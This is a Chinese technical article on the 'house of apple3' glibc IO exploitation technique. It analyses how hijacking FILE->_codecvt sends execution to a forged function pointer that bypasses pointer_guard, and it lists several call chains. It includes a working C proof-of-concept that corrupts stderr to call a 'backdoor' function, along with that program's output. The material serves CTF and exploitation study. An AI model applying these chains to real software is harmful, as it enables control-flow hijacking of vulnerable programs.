house of apple
系列利用方法文章:
之前提出了一种新的IO
利用方法 house of apple
,并已经发布了house of apple1 和house of apple2 ,其中house of apple1
中的利用链能任意地址写堆地址,house of apple2
中的利用链能通过控制FILE
结构体的_wide_data
成员去直接控制程序执行流。本篇是house of apple
系列的第三篇,继续给出基于FILE->_wide_data
的有关利用技巧(利用链仍然与FILE->_wide_data
操作有一点相关)。
前两篇文章中的利用链主要关注_wide_data
成员,而本篇文章并不会特别关注_wide_data
,而是关注FILE
结构体的另外一个成员_codecvt
的利用。
本篇的house of apple3
同样会给出几条新的IO
利用链,在劫持FILE->_codecvt
的基础上,直接控制程序执行流。
关于前置知识点击 house of apple1 进行查看。
文章中的fp
为一个FILE
类型的指针,以下分析均基于amd64
程序。
使用house of apple3
的条件为:
注意: 上面提到,本篇文章并不会特别关注_wide_data
成员,这是因为_wide_data
设置不当的话会影响某些利用链的分支走向。但是,如果采用默认的_wide_data
成员(默认会指向_IO_wide_data_2
,除了_wide_vtable
外其他成员均默认为0
),也并不影响house of apple3
的利用。
因此,如果能伪造整个FILE
结构体,则需要设置合适的_wide_data
;如果只能伪部分FILE
的成员的话,保持fp->_wide_data
为默认地址即可。
FILE
结构体中有一个成员struct _IO_codecvt *_codecvt;
,偏移为0x98
。该结构体参与宽字符的转换工作,结构体被定义为:
可以看到,__cd_in
和__cd_out
是同一种类型的数据。往下拆,结构体_IO_iconv_t
被定义为:
继续拆,来看struct __gconv_step
:
然后来看struct __gconv_step_data
结构体:
以上两个结构体均会被用于字符转换,而在利用的过程中,需要精准控制结构体中的某些成员,避免引发内存访问错误。
house of apple3
的利用主要关注以下三个函数:__libio_codecvt_out
、__libio_codecvt_in
和__libio_codecvt_length
。三个函数的利用点都差不多,以__libio_codecvt_in
为例,源码分析如下:
其中,__gconv_fct
和DL_CALL_FCT
被定义为:
而在_IO_wfile_underflow
函数中调用了__libio_codecvt_in
,代码片段如下:
而_IO_wfile_underflow
又是_IO_wfile_jumps
这个_IO_jump_t
类型变量的成员函数。
分析到这里,利用原理就呼之欲出了:劫持或者伪造FILE
结构体的fp->vtable
为_IO_wfile_jumps
,fp->_codecvt
为可控堆地址,当程序执行IO
操作时,控制程序执行流走到_IO_wfile_underflow
,设置好fp->codecvt->__cd_in
结构体,使得最终调用到__libio_codecvt_in
中的DL_CALL_FCT
宏,伪造函数指针,进而控制程序执行流。
注意,在伪造过程中,可以设置gs->__shlib_handle == NULL
,从而绕过__pointer_guard
的指针调用保护。
基于该利用思路,编写demo
验证:
输出如下:
目前在glibc
源码中搜索到的__libio_codecvt_in/__libio_codecvt_out/__libio_codecvt_length
的调用链比较多,这里给出我总结的几条比较好利用的链。
对fp
的设置如下:
函数的调用链如下:
此链的详细分析见上述的利用原理部分。
对fp
的设置如下:
函数的调用链如下:
详细分析如下: 看_IO_wfile_underflow_mmap
函数:
需要设置fp->_flags & _IO_NO_READS == 0
,设置fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_end
,设置fp->_IO_read_ptr < fp->_IO_read_end
不进入调用,设置fp->_wide_data->_IO_buf_base != NULL
不进入调用。
_IO_wdo_write
的调用点很多,这里我选择一个相对简单的链:
对fp
的设置如下:
函数的调用链如下:
详细分析如下: 首先看_IO_new_file_sync
函数:
只需要满足fp->_IO_write_ptr > fp->_IO_write_base
。
然后看_IO_do_flush
宏:
根据fp->_mode
的值选择调用_IO_do_write
或者_IO_wdo_write
。这里我们要调用后者,必须使fp->_mode > 0
。此时的第二个参数为fp->_wide_data->_IO_write_base
,第三个参数为fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base
。
接着看_IO_wdo_write
:
首先to_do
必须要大于0
,即满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
,然后这个判断需要为假fp->_IO_write_end == fp->_IO_write_ptr && fp->_IO_write_end != fp->_IO_write_base
。
这个链基本需要控制fp->_wide_data
,相比上两条链的约束条件要更多一点。
对fp
的设置如下:
函数的调用链如下:
详细分析如下: 直接看_IO_wfile_sync
函数:
需要设置fp->_wide_data->_IO_write_ptr <= fp->_wide_data->_IO_write_base
和fp->_wide_data->_IO_read_ptr - fp->_wide_data->_IO_read_end != 0
。
然后看下__libio_codecvt_encoding
函数:
直接设置fp->codecvt->__cd_in.step->__stateful != 0
即可返回-1
。
依旧以 house of apple1 中的pwn_oneday
为例。
程序的详细分析仍然不在此赘述。这里展示使用_IO_wfile_underflow
这条链做rop
,然后使用orw
读取flag
。
在largebin attack
攻击_IO_list_all
之后,伪造_IO_FILE
结构:
然后借助几个gadgets
中转一下:
所以最后的exp
为:
调试如下: 通过exit
执行到_IO_wfile_underflow
,然后执行到__libio_codecvt_in
:
执行到布置好的gadget
:
成功栈迁移:
输出flag
:
house of apple1
和house of apple2
主要关注对_IO_FILE->_wide_data
成员的攻击,并可以在劫持该成员之后改写地址内容或者控制程序执行流。而本文提出的house of apple3
利用链则攻击_IO_FILE
另一个关注甚少的成员_codecvt
。
可以看到,fp->_codecvt->__cd_in.step
中也存储着函数指针,并且在劫持_codecvt
的时候可以使得函数指针调用绕过__pointer_guard
的保护,因此,可以利用该漏洞进行FSOP
。
struct
_IO_codecvt
{
_IO_iconv_t __cd_in;
_IO_iconv_t __cd_out;
};
struct
_IO_codecvt
{
_IO_iconv_t __cd_in;
_IO_iconv_t __cd_out;
};
typedef
struct
{
struct
__gconv_step *step;
struct
__gconv_step_data step_data;
} _IO_iconv_t;
typedef
struct
{
struct
__gconv_step *step;
struct
__gconv_step_data step_data;
} _IO_iconv_t;
struct
__gconv_step
{
struct
__gconv_loaded_object *__shlib_handle;
const
char
*__modname;
int
__counter;
char
*__from_name;
char
*__to_name;
__gconv_fct __fct;
__gconv_btowc_fct __btowc_fct;
__gconv_init_fct __init_fct;
__gconv_end_fct __end_fct;
int
__min_needed_from;
int
__max_needed_from;
int
__min_needed_to;
int
__max_needed_to;
int
__stateful;
void
*__data;
};
struct
__gconv_step
{
struct
__gconv_loaded_object *__shlib_handle;
const
char
*__modname;
int
__counter;
char
*__from_name;
char
*__to_name;
__gconv_fct __fct;
__gconv_btowc_fct __btowc_fct;
__gconv_init_fct __init_fct;
__gconv_end_fct __end_fct;
int
__min_needed_from;
int
__max_needed_from;
int
__min_needed_to;
int
__max_needed_to;
int
__stateful;
void
*__data;
};
struct
__gconv_step_data
{
unsigned
char
*__outbuf;
unsigned
char
*__outbufend;
int
__flags;
int
__invocation_counter;
int
__internal_use;
__mbstate_t *__statep;
__mbstate_t __state;
};
struct
__gconv_step_data
{
unsigned
char
*__outbuf;
unsigned
char
*__outbufend;
int
__flags;
int
__invocation_counter;
int
__internal_use;
__mbstate_t *__statep;
__mbstate_t __state;
};
enum
__codecvt_result
__libio_codecvt_in (
struct
_IO_codecvt *codecvt, __mbstate_t *statep,
const
char
*from_start,
const
char
*from_end,
const
char
**from_stop,
wchar_t
*to_start,
wchar_t
*to_end,
wchar_t
**to_stop)
{
enum
__codecvt_result result;
struct
__gconv_step *gs = codecvt->__cd_in.step;
int
status;
size_t
dummy;
const
unsigned
char
*from_start_copy = (unsigned
char
*) from_start;
codecvt->__cd_in.step_data.__outbuf = (unsigned
char
*) to_start;
codecvt->__cd_in.step_data.__outbufend = (unsigned
char
*) to_end;
codecvt->__cd_in.step_data.__statep = statep;
__gconv_fct fct = gs->__fct;
#ifdef PTR_DEMANGLE
if
(gs->__shlib_handle != NULL)
PTR_DEMANGLE (fct);
#endif
status = DL_CALL_FCT (fct,
(gs, &codecvt->__cd_in.step_data, &from_start_copy,
(
const
unsigned
char
*) from_end, NULL,
&dummy, 0, 0));
}
enum
__codecvt_result
__libio_codecvt_in (
struct
_IO_codecvt *codecvt, __mbstate_t *statep,
const
char
*from_start,
const
char
*from_end,
const
char
**from_stop,
wchar_t
*to_start,
wchar_t
*to_end,
wchar_t
**to_stop)
{
enum
__codecvt_result result;
struct
__gconv_step *gs = codecvt->__cd_in.step;
int
status;
size_t
dummy;
const
unsigned
char
*from_start_copy = (unsigned
char
*) from_start;
codecvt->__cd_in.step_data.__outbuf = (unsigned
char
*) to_start;
codecvt->__cd_in.step_data.__outbufend = (unsigned
char
*) to_end;
codecvt->__cd_in.step_data.__statep = statep;
__gconv_fct fct = gs->__fct;
#ifdef PTR_DEMANGLE
if
(gs->__shlib_handle != NULL)
PTR_DEMANGLE (fct);
#endif
status = DL_CALL_FCT (fct,
(gs, &codecvt->__cd_in.step_data, &from_start_copy,
(
const
unsigned
char
*) from_end, NULL,
&dummy, 0, 0));
}
typedef
int
(*__gconv_fct) (
struct
__gconv_step *,
struct
__gconv_step_data *,
const
unsigned
char
**,
const
unsigned
char
*,
unsigned
char
**,
size_t
*,
int
,
int
);
#ifndef DL_CALL_FCT
# define DL_CALL_FCT(fct, args) fct args
#endif
typedef
int
(*__gconv_fct) (
struct
__gconv_step *,
struct
__gconv_step_data *,
const
unsigned
char
**,
const
unsigned
char
*,
unsigned
char
**,
size_t
*,
int
,
int
);
#ifndef DL_CALL_FCT
# define DL_CALL_FCT(fct, args) fct args
#endif
wint_t
_IO_wfile_underflow (
FILE
*fp)
{
struct
_IO_codecvt *cd;
enum
__codecvt_result status;
ssize_t count;
if
(fp->_flags & _IO_EOF_SEEN)
return
WEOF;
if
(__glibc_unlikely (fp->_flags & _IO_NO_READS))
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return
WEOF;
}
if
(fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return
*fp->_wide_data->_IO_read_ptr;
cd = fp->_codecvt;
if
(fp->_IO_read_ptr < fp->_IO_read_end)
{
const
char
*read_stop = (
const
char
*) fp->_IO_read_ptr;
fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
fp->_wide_data->_IO_buf_base;
status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
fp->_IO_read_ptr, fp->_IO_read_end,
&read_stop,
fp->_wide_data->_IO_read_ptr,
fp->_wide_data->_IO_buf_end,
&fp->_wide_data->_IO_read_end);
}
}
wint_t
_IO_wfile_underflow (
FILE
*fp)
{
struct
_IO_codecvt *cd;
enum
__codecvt_result status;
ssize_t count;
if
(fp->_flags & _IO_EOF_SEEN)
return
WEOF;
if
(__glibc_unlikely (fp->_flags & _IO_NO_READS))
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return
WEOF;
}
if
(fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return
*fp->_wide_data->_IO_read_ptr;
cd = fp->_codecvt;
if
(fp->_IO_read_ptr < fp->_IO_read_end)
{
const
char
*read_stop = (
const
char
*) fp->_IO_read_ptr;
fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
fp->_wide_data->_IO_buf_base;
status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
fp->_IO_read_ptr, fp->_IO_read_end,
&read_stop,
fp->_wide_data->_IO_read_ptr,
fp->_wide_data->_IO_buf_end,
&fp->_wide_data->_IO_read_end);
}
}
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
void
backdoor()
{
printf
(
"\033[31m[!] Backdoor is called!\n"
);
_exit(0);
}
void
main()
{
setbuf
(stdout, 0);
setbuf
(stdin, 0);
setbuf
(stderr, 0);
char
*p1 =
calloc
(0x200, 1);
char
*p2 =
calloc
(0x200, 1);
puts
(
"[*] allocate two 0x200 chunks"
);
size_t
puts_addr = (
size_t
)&
puts
;
printf
(
"[*] puts address: %p\n"
, (
void
*)puts_addr);
size_t
libc_base_addr = puts_addr - 0x84420;
printf
(
"[*] libc base address: %p\n"
, (
void
*)libc_base_addr);
size_t
_IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;
printf
(
"[*] _IO_2_1_stderr_ address: %p\n"
, (
void
*)_IO_2_1_stderr_addr);
size_t
_IO_wfile_jumps_addr = libc_base_addr + 0x1e8f60;
printf
(
"[*] _IO_wfile_jumps address: %p\n"
, (
void
*)_IO_wfile_jumps_addr);
char
*stderr2 = (
char
*)_IO_2_1_stderr_addr;
puts
(
"[+] step 1: set stderr->_flags to ~(4 | 0x10))"
);
*(
size_t
*)stderr2 = 0;
puts
(
"[+] step 2: set stderr->_IO_read_ptr < stderr->_IO_read_end"
);
*(
size_t
*)(stderr2 + 0x10) = (
size_t
)-1;
puts
(
"[+] step 3: set stderr->vtable to _IO_wfile_jumps-0x40"
);
*(
size_t
*)(stderr2 + 0xd8) = _IO_wfile_jumps_addr-0x40;
puts
(
"[+] step 4: set stderr->codecvt with the allocated chunk p1"
);
*(
size_t
*)(stderr2 + 0x98) = (
size_t
)p1;
puts
(
"[+] step 5: set stderr->codecvt->__cd_in.step with the allocated chunk p2"
);
*(
size_t
*)p1 = (
size_t
)p2;
puts
(
"[+] step 6: put backdoor at stderr->codecvt->__cd_in.step->__fct"
);
*(
size_t
*)(p2 + 0x28) = (
size_t
)(&backdoor);
puts
(
"[+] step 7: call fflush(stderr) to trigger backdoor func"
);
fflush
(stderr);
}
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
void
backdoor()
{
printf
(
"\033[31m[!] Backdoor is called!\n"
);
_exit(0);
}
void
main()
{
setbuf
(stdout, 0);
setbuf
(stdin, 0);
setbuf
(stderr, 0);
char
*p1 =
calloc
(0x200, 1);
char
*p2 =
calloc
(0x200, 1);
puts
(
"[*] allocate two 0x200 chunks"
);
size_t
puts_addr = (
size_t
)&
puts
;
printf
(
"[*] puts address: %p\n"
, (
void
*)puts_addr);
size_t
libc_base_addr = puts_addr - 0x84420;
printf
(
"[*] libc base address: %p\n"
, (
void
*)libc_base_addr);
size_t
_IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;
printf
(
"[*] _IO_2_1_stderr_ address: %p\n"
, (
void
*)_IO_2_1_stderr_addr);
size_t
_IO_wfile_jumps_addr = libc_base_addr + 0x1e8f60;
printf
(
"[*] _IO_wfile_jumps address: %p\n"
, (
void
*)_IO_wfile_jumps_addr);
char
*stderr2 = (
char
*)_IO_2_1_stderr_addr;
puts
(
"[+] step 1: set stderr->_flags to ~(4 | 0x10))"
);
*(
size_t
*)stderr2 = 0;
puts
(
"[+] step 2: set stderr->_IO_read_ptr < stderr->_IO_read_end"
);
*(
size_t
*)(stderr2 + 0x10) = (
size_t
)-1;
puts
(
"[+] step 3: set stderr->vtable to _IO_wfile_jumps-0x40"
);
*(
size_t
*)(stderr2 + 0xd8) = _IO_wfile_jumps_addr-0x40;
puts
(
"[+] step 4: set stderr->codecvt with the allocated chunk p1"
);
*(
size_t
*)(stderr2 + 0x98) = (
size_t
)p1;
puts
(
"[+] step 5: set stderr->codecvt->__cd_in.step with the allocated chunk p2"
);
*(
size_t
*)p1 = (
size_t
)p2;
puts
(
"[+] step 6: put backdoor at stderr->codecvt->__cd_in.step->__fct"
);
*(
size_t
*)(p2 + 0x28) = (
size_t
)(&backdoor);
puts
(
"[+] step 7: call fflush(stderr) to trigger backdoor func"
);
fflush
(stderr);
}
[
*
] allocate two
0x200
chunks
[
*
] puts address:
0x7f3b2d0a2420
[
*
] libc base address:
0x7f3b2d01e000
[
*
] _IO_2_1_stderr_ address:
0x7f3b2d20b5c0
[
*
] _IO_wfile_jumps address:
0x7f3b2d206f60
[
+
] step
1
:
set
stderr
-
>_flags to ~(
4
|
0x10
))
[
+
] step
2
:
set
stderr
-
>_IO_read_ptr < stderr
-
>_IO_read_end
[
+
] step
3
:
set
stderr
-
>vtable to _IO_wfile_jumps
-
0x40
[
+
] step
4
:
set
stderr
-
>codecvt with the allocated chunk p1
[
+
] step
5
:
set
stderr
-
>codecvt
-
>__cd_in.step with the allocated chunk p2
[
+
] step
6
: put backdoor at stderr
-
>codecvt
-
>__cd_in.step
-
>__fct
[
+
] step
7
: call fflush(stderr) to trigger backdoor func
[!] Backdoor
is
called!
[
*
] allocate two
0x200
chunks
[
*
] puts address:
0x7f3b2d0a2420
[
*
] libc base address:
0x7f3b2d01e000
[
*
] _IO_2_1_stderr_ address:
0x7f3b2d20b5c0
[
*
] _IO_wfile_jumps address:
0x7f3b2d206f60
[
+
] step
1
:
set
stderr
-
>_flags to ~(
4
|
0x10
))
[
+
] step
2
:
set
stderr
-
>_IO_read_ptr < stderr
-
>_IO_read_end
[
+
] step
3
:
set
stderr
-
>vtable to _IO_wfile_jumps
-
0x40
[
+
] step
4
:
set
stderr
-
>codecvt with the allocated chunk p1
[
+
] step
5
:
set
stderr
-
>codecvt
-
>__cd_in.step with the allocated chunk p2
[
+
] step
6
: put backdoor at stderr
-
>codecvt
-
>__cd_in.step
-
>__fct
[
+
] step
7
: call fflush(stderr) to trigger backdoor func
[!] Backdoor
is
called!
_IO_wfile_underflow
__libio_codecvt_in
DL_CALL_FCT
gs
=
fp
-
>_codecvt
-
>__cd_in.step
*
(gs
-
>__fct)(gs)
_IO_wfile_underflow
__libio_codecvt_in
DL_CALL_FCT
gs
=
fp
-
>_codecvt
-
>__cd_in.step
*
(gs
-
>__fct)(gs)
_IO_wfile_underflow_mmap
__libio_codecvt_in
DL_CALL_FCT
gs
=
fp
-
>_codecvt
-
>__cd_in.step
*
(gs
-
>__fct)(gs)
_IO_wfile_underflow_mmap
__libio_codecvt_in
DL_CALL_FCT
gs
=
fp
-
>_codecvt
-
>__cd_in.step
*
(gs
-
>__fct)(gs)
static
wint_t
_IO_wfile_underflow_mmap (
FILE
*fp)
{
struct
_IO_codecvt *cd;
const
char
*read_stop;
if
(__glibc_unlikely (fp->_flags & _IO_NO_READS))
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return
WEOF;
}
if
(fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return
*fp->_wide_data->_IO_read_ptr;
cd = fp->_codecvt;
if
(fp->_IO_read_ptr >= fp->_IO_read_end
&& _IO_file_underflow_mmap (fp) == EOF)
return
WEOF;
read_stop = (
const
char
*) fp->_IO_read_ptr;
if
(fp->_wide_data->_IO_buf_base == NULL)
{
if
(fp->_wide_data->_IO_save_base != NULL)
{
free
(fp->_wide_data->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_wdoallocbuf (fp);
}
fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
fp->_wide_data->_IO_buf_base;
__libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
fp->_IO_read_ptr, fp->_IO_read_end,
&read_stop,
fp->_wide_data->_IO_read_ptr,
fp->_wide_data->_IO_buf_end,
&fp->_wide_data->_IO_read_end);
}
static
wint_t
_IO_wfile_underflow_mmap (
FILE
*fp)
{
struct
_IO_codecvt *cd;
const
char
*read_stop;
if
(__glibc_unlikely (fp->_flags & _IO_NO_READS))
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return
WEOF;
}
if
(fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return
*fp->_wide_data->_IO_read_ptr;
cd = fp->_codecvt;
if
(fp->_IO_read_ptr >= fp->_IO_read_end
&& _IO_file_underflow_mmap (fp) == EOF)
return
WEOF;
read_stop = (
const
char
*) fp->_IO_read_ptr;
if
(fp->_wide_data->_IO_buf_base == NULL)
{
if
(fp->_wide_data->_IO_save_base != NULL)
{
free
(fp->_wide_data->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_wdoallocbuf (fp);
}
fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
fp->_wide_data->_IO_buf_base;
__libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
fp->_IO_read_ptr, fp->_IO_read_end,
&read_stop,
fp->_wide_data->_IO_read_ptr,
fp->_wide_data->_IO_buf_end,
&fp->_wide_data->_IO_read_end);
}
_IO_new_file_sync
_IO_do_flush
_IO_wdo_write
_IO_new_file_sync
_IO_do_flush
_IO_wdo_write
_IO_new_file_sync
_IO_do_flush
_IO_wdo_write
__libio_codecvt_out
DL_CALL_FCT
gs
=
fp
-
>_codecvt
-
>__cd_out.step
*
(gs
-
>__fct)(gs)
_IO_new_file_sync
_IO_do_flush
_IO_wdo_write
__libio_codecvt_out
DL_CALL_FCT
gs
=
fp
-
>_codecvt
-
>__cd_out.step
*
(gs
-
>__fct)(gs)
int
_IO_new_file_sync (
FILE
*fp)
{
ssize_t delta;
int
retval = 0;
if
(fp->_IO_write_ptr > fp->_IO_write_base)
if
(_IO_do_flush(fp))
return
EOF;
}
int
_IO_new_file_sync (
FILE
*fp)
{
ssize_t delta;
int
retval = 0;
if
(fp->_IO_write_ptr > fp->_IO_write_base)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2023-12-20 13:32
被roderick01编辑
,原因: